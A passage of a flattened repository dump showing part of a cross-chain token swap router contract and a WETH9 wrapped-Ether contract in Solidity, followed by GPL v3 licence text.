381 | uint toChainID 382 | ) external virtual ensure(deadline) { 383 | TransferHelper.safeTransferFrom(AnyswapV1ERC20(path[0]).underlying(), msg.sender, path[0], amountIn); 384 | AnyswapV1ERC20(path[0]).depositVault(amountIn, msg.sender); 385 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn); 386 | emit LogAnySwapTradeTokensForTokens(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID); 387 | } 388 | 389 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 390 | function anySwapOutExactTokensForTokensUnderlyingWithPermit( 391 | address from, 392 | uint amountIn, 393 | uint amountOutMin, 394 | address[] calldata path, 395 | address to, 396 | uint deadline, 397 | uint8 v, 398 | bytes32 r, 399 | bytes32 s, 400 | uint toChainID 401 | ) external virtual ensure(deadline) { 402 | address _underlying = AnyswapV1ERC20(path[0]).underlying(); 403 | IERC20(_underlying).permit(from, address(this), amountIn, deadline, v, r, s); 404 | TransferHelper.safeTransferFrom(_underlying, from, path[0], amountIn); 405 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from); 406 | AnyswapV1ERC20(path[0]).burn(from, amountIn); 407 | { 408 | address[] memory _path = path; 409 | address _from = from; 410 | address _to = to; 411 | uint _amountIn = amountIn; 412 | uint _amountOutMin = amountOutMin; 413 | uint _cID = cID(); 414 | uint _toChainID = toChainID; 415 | emit LogAnySwapTradeTokensForTokens(_path, _from, _to, _amountIn, _amountOutMin, _cID, _toChainID); 416 | } 417 | } 418 | 419 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 420 | function anySwapOutExactTokensForTokensUnderlyingWithTransferPermit( 421 | address from, 422 | uint amountIn, 423 | uint amountOutMin, 424 | address[] calldata path, 425 | address to, 426 | uint deadline, 427 | uint8 v, 428 | bytes32 r, 429 | bytes32 s, 430 | uint toChainID 431 | ) external virtual ensure(deadline) { 432 | IERC20(AnyswapV1ERC20(path[0]).underlying()).transferWithPermit(from, path[0], amountIn, deadline, v, r, s); 433 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from); 434 | AnyswapV1ERC20(path[0]).burn(from, amountIn); 435 | emit LogAnySwapTradeTokensForTokens(path, from, to, amountIn, amountOutMin, cID(), toChainID); 436 | } 437 | 438 | // Swaps `amounts[path.length-1]` `path[path.length-1]` to `to` on this chain 439 | // Triggered by `anySwapOutExactTokensForTokens` 440 | function anySwapInExactTokensForTokens( 441 | bytes32 txs, 442 | uint amountIn, 443 | uint amountOutMin, 444 | address[] calldata path, 445 | address to, 446 | uint deadline, 447 | uint fromChainID 448 | ) external onlyMPC virtual ensure(deadline) returns (uint[] memory amounts) { 449 | amounts = SushiswapV2Library.getAmountsOut(factory, amountIn, path); 450 | require(amounts[amounts.length - 1] >= amountOutMin, 'SushiswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); 451 | _anySwapIn(txs, path[0], SushiswapV2Library.pairFor(factory, path[0], path[1]), amounts[0], fromChainID); 452 | _swap(amounts, path, to); 453 | } 454 | 455 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 456 | function anySwapOutExactTokensForNative( 457 | uint amountIn, 458 | uint amountOutMin, 459 | address[] calldata path, 460 | address to, 461 | uint deadline, 462 | uint toChainID 463 | ) external virtual ensure(deadline) { 464 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn); 465 | emit LogAnySwapTradeTokensForNative(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID); 466 | } 467 | 468 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 469 | function anySwapOutExactTokensForNativeUnderlying( 470 | uint amountIn, 471 | uint amountOutMin, 472 | address[] calldata path, 473 | address to, 474 | uint deadline, 475 | uint toChainID 476 | ) external virtual ensure(deadline) { 477 | TransferHelper.safeTransferFrom(AnyswapV1ERC20(path[0]).underlying(), msg.sender, path[0], amountIn); 478 | AnyswapV1ERC20(path[0]).depositVault(amountIn, msg.sender); 479 | AnyswapV1ERC20(path[0]).burn(msg.sender, amountIn); 480 | emit LogAnySwapTradeTokensForNative(path, msg.sender, to, amountIn, amountOutMin, cID(), toChainID); 481 | } 482 | 483 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 484 | function anySwapOutExactTokensForNativeUnderlyingWithPermit( 485 | address from, 486 | uint amountIn, 487 | uint amountOutMin, 488 | address[] calldata path, 489 | address to, 490 | uint deadline, 491 | uint8 v, 492 | bytes32 r, 493 | bytes32 s, 494 | uint toChainID 495 | ) external virtual ensure(deadline) { 496 | address _underlying = AnyswapV1ERC20(path[0]).underlying(); 497 | IERC20(_underlying).permit(from, address(this), amountIn, deadline, v, r, s); 498 | TransferHelper.safeTransferFrom(_underlying, from, path[0], amountIn); 499 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from); 500 | AnyswapV1ERC20(path[0]).burn(from, amountIn); 501 | { 502 | address[] memory _path = path; 503 | address _from = from; 504 | address _to = to; 505 | uint _amountIn = amountIn; 506 | uint _amountOutMin = amountOutMin; 507 | uint _cID = cID(); 508 | uint _toChainID = toChainID; 509 | emit LogAnySwapTradeTokensForNative(_path, _from, _to, _amountIn, _amountOutMin, _cID, _toChainID); 510 | } 511 | } 512 | 513 | // sets up a cross-chain trade from this chain to `toChainID` for `path` trades to `to` 514 | function anySwapOutExactTokensForNativeUnderlyingWithTransferPermit( 515 | address from, 516 | uint amountIn, 517 | uint amountOutMin, 518 | address[] calldata path, 519 | address to, 520 | uint deadline, 521 | uint8 v, 522 | bytes32 r, 523 | bytes32 s, 524 | uint toChainID 525 | ) external virtual ensure(deadline) { 526 | IERC20(AnyswapV1ERC20(path[0]).underlying()).transferWithPermit(from, path[0], amountIn, deadline, v, r, s); 527 | AnyswapV1ERC20(path[0]).depositVault(amountIn, from); 528 | AnyswapV1ERC20(path[0]).burn(from, amountIn); 529 | emit LogAnySwapTradeTokensForNative(path, from, to, amountIn, amountOutMin, cID(), toChainID); 530 | } 531 | 532 | // Swaps `amounts[path.length-1]` `path[path.length-1]` to `to` on this chain 533 | // Triggered by `anySwapOutExactTokensForNative` 534 | function anySwapInExactTokensForNative( 535 | bytes32 txs, 536 | uint amountIn, 537 | uint amountOutMin, 538 | address[] calldata path, 539 | address to, 540 | uint deadline, 541 | uint fromChainID 542 | ) external onlyMPC virtual ensure(deadline) returns (uint[] memory amounts) { 543 | require(path[path.length - 1] == wNATIVE, 'AnyswapV3Router: INVALID_PATH'); 544 | amounts = SushiswapV2Library.getAmountsOut(factory, amountIn, path); 545 | require(amounts[amounts.length - 1] >= amountOutMin, 'AnyswapV3Router: INSUFFICIENT_OUTPUT_AMOUNT'); 546 | _anySwapIn(txs, path[0], SushiswapV2Library.pairFor(factory, path[0], path[1]), amounts[0], fromChainID); 547 | _swap(amounts, path, address(this)); 548 | IwNATIVE(wNATIVE).withdraw(amounts[amounts.length - 1]); 549 | TransferHelper.safeTransferNative(to, amounts[amounts.length - 1]); 550 | } 551 | 552 | // **** LIBRARY FUNCTIONS **** 553 | function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual returns (uint amountB) { 554 | return SushiswapV2Library.quote(amountA, reserveA, reserveB); 555 | } 556 | 557 | function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) 558 | public 559 | pure 560 | virtual 561 | returns (uint amountOut) 562 | { 563 | return SushiswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut); 564 | } 565 | 566 | function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) 567 | public 568 | pure 569 | virtual 570 | returns (uint amountIn) 571 | { 572 | return SushiswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut); 573 | } 574 | 575 | function getAmountsOut(uint amountIn, address[] memory path) 576 | public 577 | view 578 | virtual 579 | returns (uint[] memory amounts) 580 | { 581 | return SushiswapV2Library.getAmountsOut(factory, amountIn, path); 582 | } 583 | 584 | function getAmountsIn(uint amountOut, address[] memory path) 585 | public 586 | view 587 | virtual 588 | returns (uint[] memory amounts) 589 | { 590 | return SushiswapV2Library.getAmountsIn(factory, amountOut, path); 591 | } 592 | } -------------------------------------------------------------------------------- /WETH9.sol: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2015, 2016, 2017 Dapphub 2 | 3 | // This program is free software: you can redistribute it and/or modify 4 | // it under the terms of the GNU General Public License as published by 5 | // the Free Software Foundation, either version 3 of the License, or 6 | // (at your option) any later version. 7 | 8 | // This program is distributed in the hope that it will be useful, 9 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | // GNU General Public License for more details. 12 | 13 | // You should have received a copy of the GNU General Public License 14 | // along with this program. If not, see . 15 | 16 | pragma solidity >=0.4.22 <=0.6.12; 17 | 18 | contract WETH9 { 19 | string public name = 'Wrapped Ether'; 20 | string public symbol = 'WETH'; 21 | uint8 public decimals = 18; 22 | 23 | event Approval(address indexed src, address indexed guy, uint256 wad); 24 | event Transfer(address indexed src, address indexed dst, uint256 wad); 25 | event Deposit(address indexed dst, uint256 wad); 26 | event Withdrawal(address indexed src, uint256 wad); 27 | 28 | mapping(address => uint256) public balanceOf; 29 | mapping(address => mapping(address => uint256)) public allowance; 30 | 31 | receive() external payable { 32 | deposit(); 33 | } 34 | 35 | function deposit() public payable { 36 | balanceOf[msg.sender] += msg.value; 37 | emit Deposit(msg.sender, msg.value); 38 | } 39 | 40 | function withdraw(uint256 wad) public { 41 | require(balanceOf[msg.sender] >= wad); 42 | balanceOf[msg.sender] -= wad; 43 | msg.sender.transfer(wad); 44 | emit Withdrawal(msg.sender, wad); 45 | } 46 | 47 | function totalSupply() public view returns (uint256) { 48 | return address(this).balance; 49 | } 50 | 51 | function approve(address guy, uint256 wad) public returns (bool) { 52 | allowance[msg.sender][guy] = wad; 53 | emit Approval(msg.sender, guy, wad); 54 | return true; 55 | } 56 | 57 | function transfer(address dst, uint256 wad) public returns (bool) { 58 | return transferFrom(msg.sender, dst, wad); 59 | } 60 | 61 | function transferFrom( 62 | address src, 63 | address dst, 64 | uint256 wad 65 | ) public returns (bool) { 66 | require(balanceOf[src] >= wad); 67 | 68 | if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) { 69 | require(allowance[src][msg.sender] >= wad); 70 | allowance[src][msg.sender] -= wad; 71 | } 72 | 73 | balanceOf[src] -= wad; 74 | balanceOf[dst] += wad; 75 | 76 | emit Transfer(src, dst, wad); 77 | 78 | return true; 79 | } 80 | } 81 | 82 | /* 83 | GNU GENERAL PUBLIC LICENSE 84 | Version 3, 29 June 2007 85 | 86 | Copyright (C) 2007 Free Software Foundation, Inc. 87 | Everyone is permitted to copy and distribute verbatim copies 88 | of this license document, but changing it is not allowed. 89 | 90 | Preamble 91 | 92 | The GNU General Public License is a free, copyleft license for 93 | software and other kinds of works. 94 | 95 | The licenses for most software and other practical works are designed 96 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 623 | 624 | If conditions are imposed on you (whether by court order, agreement or 625 | otherwise) that contradict the conditions of this License, they do not 626 | excuse you from the conditions of this License. If you cannot convey a 627 | covered work so as to satisfy simultaneously your obligations under this 628 | License and any other pertinent obligations, then as a consequence you may 629 | not convey it at all. For example, if you agree to terms that obligate you 630 | to collect a royalty for further conveying from those to whom you convey 631 | the Program, the only way you could satisfy both those terms and this 632 | License would be to refrain entirely from conveying the Program. 633 | 634 | 13. Use with the GNU Affero General Public License. 635 | 636 | Notwithstanding any other provision of this License, you have 637 | permission to link or combine any covered work with a work licensed 638 | under version 3 of the GNU Affero General Public License into a single 639 | combined work, and to convey the resulting work. The terms of this 640 | License will continue to apply to the part which is the covered work, 641 | but the special requirements of the GNU Affero General Public License, 642 | section 13, concerning interaction through a network will apply to the 643 | combination as such. 644 | 645 | 14. Revised Versions of this License. 646 | 647 | The Free Software Foundation may publish revised and/or new versions of 648 | the GNU General Public License from time to time. Such new versions will 649 | be similar in spirit to the present version, but may differ in detail to 650 | address new problems or concerns. 651 | 652 | Each version is given a distinguishing version number. If the 653 | Program specifies that a certain numbered version of the GNU General 654 | Public License "or any later version" applies to it, you have the 655 | option of following the terms and conditions either of that numbered 656 | version or of any later version published by the Free Software 657 | Foundation. If the Program does not specify a version number of the 658 | GNU General Public License, you may choose any version ever published 659 | by the Free Software Foundation. 660 | 661 | If the Program specifies that a proxy can decide which future 662 | versions of the GNU General Public License can be used, that proxy's 663 | public statement of acceptance of a version permanently authorizes you 664 | to choose that version for the Program. 665 | 666 | Later license versions may give you additional or different 667 | permissions. However, no additional obligations are imposed on any 668 | author or copyright holder as a result of your choosing to follow a 669 | later version. 670 | 671 | 15. Disclaimer of Warranty. 672 | 673 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 674 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 675 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 676 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 677 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 678 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 679 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 680 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 681 | 682 | 16. Limitation of Liability. 683 | 684 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 685 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 686 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 687 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 688 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 689 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 690 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 691 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 692 | SUCH DAMAGES. 693 | 694 | 17. Interpretation of Sections 15 and 16. 695 | 696 | If the disclaimer of warranty and limitation of liability provided 697 | above cannot be given local legal effect according to their terms, 698 | reviewing courts shall apply local law that most closely approximates 699 | an absolute waiver of all civil liability in connection with the 700 | Program, unless a warranty or assumption of liability accompanies a 701 | copy of the Program in return for a fee. 702 | 703 | END OF TERMS AND CONDITIONS 704 | 705 | How to Apply These Terms to Your New Programs 706 | 707 | If you develop a new program, and you want it to be of the greatest 708 | possible use to the public, the best way to achieve this is to make it 709 | free software which everyone can redistribute and change under these terms. 710 | 711 | To do so, attach the following notices to the program. It is safest 712 | to attach them to the start of each source file to most effectively 713 | state the exclusion of warranty; and each file should have at least 714 | the "copyright" line and a pointer to where the full notice is found. 715 | 716 | 717 | Copyright (C) 718 | 719 | This program is free software: you can redistribute it and/or modify 720 | it under the terms of the GNU General Public License as published by 721 | the Free Software Foundation, either version 3 of the License, or 722 | (at your option) any later version. 723 | 724 | This program is distributed in the hope that it will be useful, 725 | but WITHOUT ANY WARRANTY; without even the implied warranty of 726 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 727 | GNU General Public License for more details. 728 | 729 | You should have received a copy of the GNU General Public License 730 | along with this program. If not, see . 731 | 732 | Also add information on how to contact you by electronic and paper mail. 733 | 734 | If the program does terminal interaction, make it output a short 735 | notice like this when it starts in an interactive mode: 736 | 737 | Copyright (C) 738 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 739 | This is free software, and you are welcome to redistribute it 740 | under certain conditions; type `show c' for details. 741 | 742 | The hypothetical commands `show w' and `show c' should show the appropriate 743 | parts of the General Public License. Of course, your program's commands 744 | might be different; for a GUI interface, you would use an "about box". 745 | 746 | You should also get your employer (if you work as a programmer) or school, 747 | if any, to sign a "copyright disclaimer" for the program, if necessary. 748 | For more information on this, and how to apply and follow the GNU GPL, see 749 | . 750 | 751 | The GNU General Public License does not permit incorporating your program 752 | into proprietary programs. If your program is a subroutine library, you 753 | may consider it more useful to permit linking proprietary applications with 754 | the library. If this is what you want to do, use the GNU Lesser General 755 | Public License instead of this License. But first, please read 756 | . 757 | 758 | */ 759 | --------------------------------------------------------------------------------